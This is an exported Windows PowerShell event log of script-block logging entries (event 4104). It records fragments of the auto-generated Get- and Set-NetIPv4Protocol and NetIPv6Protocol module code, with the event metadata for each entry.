[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NeighborCacheLimitEntries')) {
[object]$__cmdletization_value = ${NeighborCacheLimitEntries}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NeighborCacheLimit'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NeighborCacheLimit'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RouteCacheLimitEntries')) {
[object]$__cmdletization_value = ${RouteCacheLimitEntries}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RouteCacheLimit'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RouteCacheLimit'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ReassemblyLimitBytes')) {
[object]$__cmdletization_value = ${ReassemblyLimitBytes}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ReassemblyLimit'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ReassemblyLimit'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IcmpRedirects')) {
[object]$__cmdletization_value = ${IcmpRedirects}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IcmpRedirects'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.IcmpRedirects'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IcmpRedirects'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.IcmpRedirects'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('SourceRoutingBehavior')) {
[object]$__cmdletization_value = ${SourceRoutingBehavior}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SourceRoutingBehavior'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.SourceRoutingBehavior'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SourceRoutingBehavior'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.SourceRoutingBehavior'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_d
ScriptBlock ID: 3d05760c-4b0b-425b-8bfb-0070b62c3dfc
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1802 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:01 AM | dfeadd90-ee34-0000-bfed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 4):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetIPv6Protocol'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetIPv6Protocol
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetIPv6Protocol')]
param(
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint32[]]
${DefaultHopLimit},
[Parameter(ParameterSetName='ByName')]
[Alias('NeighborCacheLimit')]
[ValidateNotNull()]
[uint32[]]
${NeighborCacheLimitEntries},
[Parameter(ParameterSetName='ByName')]
[Alias('RouteCacheLimit')]
[ValidateNotNull()]
[uint32[]]
${RouteCacheLimitEntries},
[Parameter(ParameterSetName='ByName')]
[Alias('ReassemblyLimit')]
[ValidateNotNull()]
[uint32[]]
${ReassemblyLimitBytes},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.IcmpRedirects[]]
${IcmpRedirects},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.SourceRoutingBehavior[]]
${SourceRoutingBehavior},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.DhcpMediaSense[]]
${DhcpMediaSense},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.MediaSenseEventLog[]]
${MediaSenseEventLog},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.MldLevel[]]
${MldLevel},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.MldVersion[]]
${MldVersion},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.MulticastForwarding[]]
${MulticastForwarding},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.GroupForwardedFragments[]]
${GroupForwardedFragments},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.RandomizeIdentifiers[]]
${RandomizeIdentifiers},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.AddressMaskReply[]]
${AddressMaskReply},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv6Protocol.UseTemporaryAddresses[]]
${UseTemporaryAddresses},
[Parameter(ParameterSetName='ByName')]
[Alias('MaxDadAttempts')]
[ValidateNotNull()]
[uint32[]]
${MaxTemporaryDadAttempts},
[Parameter(ParameterSetName='ByName')]
[Alias('MaxValidLifetime')]
[ValidateNotNull()]
[timespan[]]
${MaxTemporaryValidLifetime},
[Parameter(ParameterSetName='ByName')]
[Alias('MaxPreferredLifetime')]
[ValidateNotNull()]
[timespan[]]
${MaxTemporaryPreferredLifetime},
[Parameter(ParameterSetName='ByName')]
[Alias('RegenerateTime')]
[ValidateNotNull()]
[timespan[]]
${TemporaryRegenerateTime},
[Parameter(ParameterSetName='ByName')]
[Alias('MaxRandomTime')]
[ValidateNotNull()]
[timespan[]]
${MaxTemporaryDesyncTime},
[Parameter(ParameterSetName='ByName')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('DefaultHopLimit') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DefaultHopLimit})
$__cmdletization_queryBuilder.FilterByProperty('DefaultHopLimit', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('NeighborCacheLimitEntries') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${NeighborCacheLimitEntries})
$__cmdletization_queryBuilder.FilterByProperty('NeighborCacheLimit', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('RouteCacheLimitEntries') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${RouteCacheLimitEntries})
$__cmdletization_queryBuilder.FilterByProperty('RouteCacheLimit', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('ReassemblyLimitBytes') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${ReassemblyLimitBytes})
$__cmdletization_queryBuilder.FilterByProperty('ReassemblyLimit', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('IcmpRedirects') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${IcmpRedirects})
$__cmdletization_queryBuilder.FilterByProperty('IcmpRedirects', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('SourceRoutingBehavior') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${SourceRoutingBehavior})
$__cmdletization_queryBuilder.FilterByProperty('SourceRoutingBehavior', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('DhcpMediaSense') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DhcpMediaSense})
$__cmdletization_queryBuilder.FilterByProperty('DhcpMediaSense', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('MediaSenseEventLog') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${MediaSenseEventLog})
$__cmdletization_queryBuilder.FilterByProperty('MediaSenseEventLog', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('MldLevel') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${MldLevel})
$__cmdletization_queryBuilder.FilterByProperty('MldLevel', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('MldVersion') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${MldVersion})
$__cmdletization_queryBuilder.FilterByProperty('MldVersion', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('MulticastForwarding') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${MulticastForwarding})
$__cmdletization_queryBuilder.FilterByProperty('MulticastForwarding', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('GroupForwardedFragments') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${GroupForwardedFragments})
$__cmdletization_queryBuilder.FilterByProperty('GroupForwardedFragments', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('RandomizeIdentifiers') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${RandomizeIdentifiers})
$__cmdletization_queryBuilder.FilterByProperty('RandomizeIdentifiers', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('AddressMaskReply') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${AddressMaskReply})
$__cmdletization_queryBuilder.FilterByProperty('AddressMaskReply', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('UseTemporaryAddresses') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${UseTemporaryAddresses})
$__cmdletization_queryBuilder.FilterByProperty('UseTemporaryAddresses', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('MaxTemporaryDadAttempts') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${MaxTemporaryDadAttempts})
$__cmdletization_queryBuilder.FilterByProperty('MaxDadAttempts', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('MaxTemporaryValidLifetime') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${MaxTemporaryValidLifetime})
$__cmdletization_queryBuilder.FilterByProperty('MaxValidLifetime', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('MaxTemporaryPreferredLifetime') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${MaxTemporaryPreferredLifetime})
$__cmdletization_queryBuilder.FilterByProperty('MaxPreferredLifetime', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('TemporaryRegenerateTime') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${TemporaryRegenerateTime})
ScriptBlock ID: 3d05760c-4b0b-425b-8bfb-0070b62c3dfc
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1801 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:01 AM | dfeadd90-ee34-0000-bfed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 4):
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetIPv4Protocol.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetIPv4Protocol' -Alias '*'
ScriptBlock ID: 4fed8f45-c374-45e8-8c74-bdfd72920599
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1800 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:01 AM | dfeadd90-ee34-0000-bbed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 4):
ceRoutingBehavior'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.SourceRoutingBehavior'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SourceRoutingBehavior'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.SourceRoutingBehavior'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DhcpMediaSense')) {
[object]$__cmdletization_value = ${DhcpMediaSense}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DhcpMediaSense'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.DhcpMediaSense'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DhcpMediaSense'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.DhcpMediaSense'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('MediaSenseEventLog')) {
[object]$__cmdletization_value = ${MediaSenseEventLog}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MediaSenseEventLog'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.MediaSenseEventLog'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MediaSenseEventLog'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.MediaSenseEventLog'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IGMPLevel')) {
[object]$__cmdletization_value = ${IGMPLevel}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MldLevel'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.MldLevel'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MldLevel'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.MldLevel'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IGMPVersion')) {
[object]$__cmdletization_value = ${IGMPVersion}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MldVersion'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.MldVersion'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MldVersion'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.MldVersion'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('MulticastForwarding')) {
[object]$__cmdletization_value = ${MulticastForwarding}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MulticastForwarding'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.MulticastForwarding'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MulticastForwarding'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.MulticastForwarding'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('GroupForwardedFragments')) {
[object]$__cmdletization_value = ${GroupForwardedFragments}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'GroupForwardedFragments'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.GroupForwardedFragments'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'GroupForwardedFragments'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.GroupForwardedFragments'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RandomizeIdentifiers')) {
[object]$__cmdletization_value = ${RandomizeIdentifiers}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RandomizeIdentifiers'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.RandomizeIdentifiers'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RandomizeIdentifiers'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.RandomizeIdentifiers'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('AddressMaskReply')) {
[object]$__cmdletization_value = ${AddressMaskReply}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AddressMaskReply'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.AddressMaskReply'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AddressMaskReply'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.AddressMaskReply'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('MinimumMtu')) {
[object]$__cmdletization_value = ${MinimumMtu}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MinimumMtu'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MinimumMtu'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
ScriptBlock ID: 4fed8f45-c374-45e8-8c74-bdfd72920599
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1799 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:01 AM | dfeadd90-ee34-0000-bbed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 4):
_cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetIPv4Protocol.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetIPv4Protocol' -Alias '*'
function Set-NetIPv4Protocol
{
[CmdletBinding(DefaultParameterSetName='InputObject (cdxml)', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetIPv4Protocol')]
param(
[Parameter(ParameterSetName='InputObject (cdxml)', ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetIPv4Protocol')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[uint32]
${DefaultHopLimit},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('NeighborCacheLimit')]
[uint32]
${NeighborCacheLimitEntries},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('RouteCacheLimit')]
[uint32]
${RouteCacheLimitEntries},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('ReassemblyLimit')]
